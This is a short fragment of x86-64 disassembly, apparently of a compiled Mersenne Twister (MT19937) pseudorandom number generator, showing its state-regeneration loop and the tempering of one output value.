xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rsi, 1
jne 0x14003f77d
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
and edx, r11d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov rsi, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret